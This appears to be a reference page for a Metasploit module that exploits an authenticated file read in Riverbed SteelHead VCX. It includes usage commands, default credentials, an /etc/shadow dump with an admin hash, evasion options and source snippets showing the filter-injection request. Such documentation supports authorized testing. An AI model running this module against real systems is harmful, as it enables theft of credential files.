Riverbed SteelHead VCX File Read - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/riverbed_steelhead_vcx_file_read metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Riverbed SteelHead VCX File Read
Module: auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
Source code: modules/auxiliary/scanner/http/riverbed_steelhead_vcx_file_read.rb
Disclosure date: 2017-06-01
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits an authenticated arbitrary file read in the log module's filter engine. SteelHead VCX (VCX255U) version 9.6.0a was confirmed as vulnerable.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
msf auxiliary(riverbed_steelhead_vcx_file_read) > show options
... show and set options ...
msf auxiliary(riverbed_steelhead_vcx_file_read) > set RHOSTS ip-range
msf auxiliary(riverbed_steelhead_vcx_file_read) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(riverbed_steelhead_vcx_file_read) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(riverbed_steelhead_vcx_file_read) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(riverbed_steelhead_vcx_file_read) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
This module exploits an authenticated arbitrary file read in the log module's filter engine.
Vulnerable Application
The application is available for a 90 day evaluation after free registration from
riverbed.
Downloads are available for Hyper-V, ESX(i), and KVM. Installation is straight forward, initial login is admin
/password
.
If need be from cli, to show the IP address of the device: show interfaces primary
This module was successfully tested against:
- SteelHead VCX (VCX255U) 9.6.0a
Verification Steps
- Do:
auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
- Do:
set RHOSTS [IP]
- Set TARGETURI if necessary.
- Set FILE if necessary.
- Set USERNAME if necessary.
- Set PASSWORD if necessary.
- Do:
run
Scenarios
SteelHead VCX255u 9.6.0a running on ESXi
resource (riverbed.rc)> use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
resource (riverbed.rc)> set rhosts 192.168.2.198
rhosts => 192.168.2.198
resource (riverbed.rc)> set verbose true
verbose => true
resource (riverbed.rc)> run
[*] CSRF Token: 18PK64EKpo4d6y0X5ZOMYJ3fxfYZKfrN
[+] Authenticated Successfully
[+] File Contents:
admin:$6$sKOU5moa$B2szxiSEzq6ZmHZw01CMf64WlzvqIgCYETeXzF1ItxZ5soOJNVXdE2H5N19t0cPeGDf/LGvRymgQHAxgojr6u1:10000:0:99999:7:::
administrator:*:10000:0:99999:7:::
apache:*:10000:0:99999:7:::
localvixuser:*:10000:0:99999:7:::
named:*:10000:0:99999:7:::
nobody:*:10000:0:99999:7:::
ntp:*:10000:0:99999:7:::
pcap:*:10000:0:99999:7:::
postgres:*:10000:0:99999:7:::
rcud:*:10000:0:99999:7:::
root:*:10000:0:99999:7:::
rpc:*:10000:0:99999:7:::
shark:*:10000:0:99999:7:::
sshd:*:10000:0:99999:7:::
statsd:*:10000:0:99999:7:::
webproxy::10000:0:99999:7:::
[+] Stored /etc/shadow to /root/.msf4/loot/20170602230238_default_192.168.2.198_host.file_311580.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/riverbed_steelhead_vcx_file_read auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
msf6 auxiliary(scanner/http/riverbed_steelhead_vcx_file_read) > show info
Name: Riverbed SteelHead VCX File Read
Module: auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-06-01
Provided by:
Gregory DRAPERI <gregory.draper_at_gmail.com>
h00die
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes Remote file to view
PASSWORD password yes Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Vulnerable URI path
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME admin yes Username
VHOST no HTTP server virtual host
Description:
This module exploits an authenticated arbitrary file read in the log
module's filter engine. SteelHead VCX (VCX255U) version 9.6.0a was
confirmed as vulnerable.
References:
https://www.exploit-db.com/exploits/42101
Module Options
This is a complete list of options available in the scanner/http/riverbed_steelhead_vcx_file_read auxiliary module:
msf6 auxiliary(scanner/http/riverbed_steelhead_vcx_file_read) > show options
Module options (auxiliary/scanner/http/riverbed_steelhead_vcx_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE /etc/shadow yes Remote file to view
PASSWORD password yes Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Vulnerable URI path
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME admin yes Username
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/riverbed_steelhead_vcx_file_read auxiliary module:
msf6 auxiliary(scanner/http/riverbed_steelhead_vcx_file_read) > show advanced
Module advanced options (auxiliary/scanner/http/riverbed_steelhead_vcx_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/riverbed_steelhead_vcx_file_read module can do:
msf6 auxiliary(scanner/http/riverbed_steelhead_vcx_file_read) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/riverbed_steelhead_vcx_file_read auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/riverbed_steelhead_vcx_file_read) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<FULL_URI> - Connection timed out
Here is a relevant code snippet related to the "<FULL_URI> - Connection timed out" error message:
46: 'next' => '/'
47: }
48: }, 25)
49:
50: unless res
51: print_error("#{full_uri} - Connection timed out")
52: return
53: end
54:
55: cookie = res.get_cookies
56: csrf = cookie.scan(/csrftoken=(\w+);/).flatten[0]
<FULL_URI> - Connection timed out
Here is a relevant code snippet related to the "<FULL_URI> - Connection timed out" error message:
71: })
72: }
73: }, 25)
74:
75: unless res
76: print_error("#{full_uri} - Connection timed out")
77: return
78: end
79:
80: if res.code == 400
81: print_error('Failed Authentication')
Failed Authentication
Here is a relevant code snippet related to the "Failed Authentication" error message:
76: print_error("#{full_uri} - Connection timed out")
77: return
78: end
79:
80: if res.code == 400
81: print_error('Failed Authentication')
82: return
83: elsif res.code == 200
84: vprint_good('Authenticated Successfully')
85: cookie = res.get_cookies
86: store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie)
<FULL_URI> - Connection timed out
Here is a relevant code snippet related to the "<FULL_URI> - Connection timed out" error message:
95: 'filterStr' => "msg:-e .* #{datastore['FILE']}"
96: }
97: }, 25)
98:
99: unless res
100: print_error("#{full_uri} - Connection timed out")
101: return
102: end
103:
104: if res && res.body
105: result = res.get_json_document
Invalid JSON returned
Here is a relevant code snippet related to the "Invalid JSON returned" error message:
102: end
103:
104: if res && res.body
105: result = res.get_json_document
106: unless result.has_key?('web3.model')
107: print_error('Invalid JSON returned')
108: return
109: end
110: reconstructed_file = []
111: # so the format is super icky here. It makes a hash table for each row in the file. then the 'msg' field starts with
112: # the file name. It also, by default, includes other files, so we need to check we're on the right file.
File not found or empty file: <FILE>
Here is a relevant code snippet related to the "File not found or empty file: <FILE>" error message:
118: if reconstructed_file.any?
119: reconstructed_file = reconstructed_file.join("\n")
120: vprint_good("File Contents:\n#{reconstructed_file}")
121: stored_path = store_loot('host.files', 'text/plain', rhost, reconstructed_file, datastore['FILE'])
122: print_good("Stored #{datastore['FILE']} to #{stored_path}")
123: else
124: print_error("File not found or empty file: #{datastore['FILE']}")
125: end
126: end
127: end
128: end
Go back to menu.
Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8507 Merged Pull Request: Riverbed SteelHead VCX File Read
References
- CVE: Not available
- EDB-42101
See Also
Check also the following modules related to this module:
- exploit/linux/http/riverbed_netprofiler_netexpress_exec
- auxiliary/admin/http/nexpose_xxe_file_read
- auxiliary/gather/rails_doubletap_file_read
- auxiliary/scanner/http/accellion_fta_statecode_file_read
- auxiliary/scanner/http/cassandra_web_file_read
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/varnish/varnish_cli_file_read
- auxiliary/scanner/http/atlassian_crowd_fileaccess
- auxiliary/scanner/http/axis_local_file_include
- auxiliary/scanner/http/backup_file
- auxiliary/scanner/http/copy_of_file
- auxiliary/scanner/http/dnalims_file_retrieve
- auxiliary/scanner/http/es_file_explorer_open_port
- auxiliary/scanner/http/file_same_name_dir
- auxiliary/scanner/http/files_dir
- auxiliary/scanner/http/hp_imc_som_file_download
- auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess
- auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
- auxiliary/scanner/http/mediawiki_svg_fileaccess
- auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
- auxiliary/scanner/http/novell_file_reporter_srs_fileaccess
- auxiliary/scanner/http/oracle_demantra_file_retrieval
- auxiliary/scanner/http/prev_dir_same_name_file
- auxiliary/scanner/http/symantec_brightmail_logfile
- auxiliary/scanner/http/wp_arbitrary_file_deletion
- auxiliary/scanner/http/zenworks_assetmanagement_fileaccess
- auxiliary/scanner/http/rfcode_reader_enum
Authors
- Gregory DRAPERI <gregory.draper_at_gmail.com>
- h00die
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.